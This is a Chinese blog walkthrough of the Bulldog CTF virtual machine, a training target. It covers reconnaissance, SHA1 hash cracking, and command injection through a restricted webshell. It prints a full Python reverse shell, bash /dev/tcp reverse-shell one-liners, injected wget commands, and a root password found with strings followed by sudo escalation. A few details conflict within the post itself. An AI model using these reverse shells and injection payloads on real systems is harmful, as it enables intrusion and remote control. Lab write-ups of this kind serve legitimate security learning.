10. CTF综合靶机渗透(三)
靶机说明
斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)
这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!
难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)
目标
提权到root权限并查看flag
运行环境
这个靶机,作者建议在Virtualbox上运行。但是攻击机kali在vm中。
首先是网络环境,将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。
Virtualbox设置为桥接模式,桥接到物理的无线网卡
- 只有一块无线网卡链接到了互联网,所以kali直接桥接,复制物理网络即可。
最后kali执行
dhclient
命令,请求分配ip,bulldog直接开机即可。
信息收集
ip发现
kali安装在vmware,作为攻击机,ip为:
bulldog靶机运行在virtualbox虚拟机上,在开机时,已经给出了ip地址:
端口扫描
执行命令 nmap -sS 192.168.0.113
发现 23 , 80 , 8080 端口开放
服务识别
执行命令 nmap -A -p 80,23 192.168.0.113
对23和80进行详细探测
发现ssh服务和web服务,并且web服务为python。
漏洞挖掘
首先查看web,同时进行目录探测
dirb http://192.168.0.113
发现 /admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录
- 对/admin/auth/group ,/admin/auth/user 进行访问探测
发现都重定向到 /admin/login 的登陆页面
- 访问admin登录页面,并进行了注入尝试,没有成功
- 查看/dev/shell发现webshell不能使用
- 查看/dev页面的源码发现提示
新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;
有明显的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。
看到这个,经常做ctf的人,都能看出来,下一步就是hash碰撞
hash碰撞讲解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html
- 对hash进行碰撞,hash长度为40位,可以看出是sha1,即使不知道是哪种hash,也可以把每个hash值,到CMD5尝试碰撞解密:
然后hash碰撞,我们得出密码为 bulldoglover ,但是我们没有用户名
我们再来分析源码,发现了这个,我们推测用户名为 sarah
应为哈希碰撞,后面的为密码
- 利用碰撞出来的两个密码进行登录尝试利用sarah成功登录
- 此时webshell可以使用
真是一举两得
获取shell
发现给出的webshell只能使用给定的几个命令。尝试命令注入。
- python反弹shell 可以进行命令注入,尝试wget是否有权限。攻击机kali执行命令
python -m SimpleHTTPServer 80
搭建简易web服务。在webshell上执行命令pwd&wget http://192.168.0.112
。kali的日志中发现访问记录
- 在开启python web服务的目录下准备一个python shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.113",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
- 在命令执行页面执行
pwd & wget http://192.168.0.112/pythonShell.py
本地日志显示成功下载
- 本地进行nc监听,执行
nc -lvp 1234
- 在命令执行处执行 pwd & python pythonShell.py
成功获得shell
- 反弹shell
(1) Windows攻击机开启nc监听:nc -lvnp 4444
(2) 直接执行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1
失败,server报错500。
(3) 尝试多次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
反弹获得shell成功
提升权限并且获得flag
- 查看有哪些系统用户
cat /etc/passwd
, 发现需要关注的用户有:bulldogadmin、django
- 进入/home目录,查看是否有其他用户,进入
bulldogadmin
- 查看他的命令历史文件,意外发现一个隐藏目
.hiddenadmindirectory
该隐藏目录存在两个文件,一个note提示,一个可执行文件
利用
strings
查看可执行文件中的字符
从以上字符中大致明白了程序的用途和用法
猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限账号相关
你可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget
,H是来混淆我们的,还好博主认识PASSWORD,我们查看一下
经过测试,发现确实是密码
最后读取flag文件
同时我们也可以提权
su命令无法执行
我们执行执行python shell
sudo python -c import pty; pty.spawn("/bin/bash")'
并且输入刚获得的密码
- 如果不解决无法su,还记得有23端口的ssh,也可以使用Xshell通过ssh登录,登录成功后执行sudo su - 提权并获得flag
用户名:django
密码:SUPERultimatePASSWORDyouCANTget
不用猜测的密码,改了django再登录也可以。
sudo su提权,密码是:SUPERultimatePASSWORDyouCANTget
靶场思路回顾
1.目录暴破出dev和admin页面:
(1) 可暴破出dev页面,该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令执行页面。
(2) 可暴破出admin后台页面,登录密码通过dev页面破解sha1得到。
2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后成功,没有尝试py shell。
3.搜索系统中id为1000以后的用户的文件,可以找到隐藏文件。
4.猜解root密码很艰难。
总结
难点和踩到的坑:
(1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即使不知道是40位的sha1,也可以直接去cmd5破解,系统会自动识别,可以破解出2个账号。如果用hashcat暴破sha1,需要强大的字段和较长的时间。
(2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了通过bash反弹shell,如果bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否能够反弹shell。
(3) 发现隐藏的包含root密码的文件,通过搜索id为1000之后的用户文件,查看历史命令,或者查看目录,也可能找到。
(4) 猜解root密码:这个是最难的,找到这个文件并不难,但是通过strings查看文件内容,并且拼接字符串为root密码,感觉难度很大。
10. CTF综合靶机渗透(三)的更多相关文章
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 19. CTF综合靶机渗透(十二)
靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- 13. CTF综合靶机渗透(六)
靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...
- 20. CTF综合靶机渗透(十三)
靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...
- 25. CTF综合靶机渗透(17)
靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...
- 14. CTF综合靶机渗透(七)
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...
随机推荐
- webpack打包笔记
optimist是一个node库,将webpack.config.js与shell参数整合成options对象 options对象包含之后构建的重要信息,类似于webpack.config.js we ...
- Linux查看硬盘使用情况
df df - report file system disk space usage df是查看文件系统磁盘使用情况的命令.如: # df -h Filesystem Size Used Avail ...
- Entity Framework 学习笔记(二)之数据模型 Model 使用过程
Entity Framework 数据模型 Model 创建的使用: 开发环境:VS2012 数据库:SQL Server 2008 Entity Framework 版本:6.12 下面是新建的 ...
- meta 标签代码解决IE兼容问题,IE6,IE7,IE8,IE9,IE10(包括360的兼容模式)
最近做了一个项目,客户反映,在360下布局错位,远程调试了一下,发现客户使用的是360的兼容模式,然而我在自己的电脑上测试的时候是正常的(兼容模式也正常):简单研究了一下360的兼容模式,在360的兼 ...
- Delphi - 数组和结构体
技术交流,DH讲解. 记得很早之前我就说过,数组和结构体在内存中其实一样的,他们都是连续分布的.例如: ? 1 2 3 4 TMyStruct = record A,B,C:Integer; en ...
- 简单使用c3p0连接池
首先,c3p0是一个连接池插件 需要jar包: 使用手动配置: /** * 手动配置使用c3p0 * @throws PropertyVetoException * @throws SQLExcept ...
- leetcode 5 Longest Palindromic Substring(Manacher算法求最长回文串)
应用一下manacher算法就可以O(n)求出结果了.可以参考hdu3068 substr(start,length)函数是这样用的: substr 方法 返回一个从指定位置开始,并具有指定长度的子字 ...
- bzoj 4537: [Hnoi2016]最小公倍数 分块+并查集
题目大意: 给定一张n个点m条边的无向图,每条边有两种权.每次询问某两个点之间是否存在一条路径上的边的两种权的最大值分别等于给定值. n,q <= 50000. m <= 100000 题 ...
- bzoj 1441: Min 裴蜀定理
题目: 给出\(n\)个数\((A_1, ... ,A_n)\)现求一组整数序列\((X_1, ... X_n)\)使得\(S=A_1*X_1+ ...+ A_n*X_n > 0\),且\(S\ ...
- URI is not registered (Settings | Languages & Frameworks | Schemas and DTDs)
解决:鼠标悬于上方Alt + Enter 选择Ignore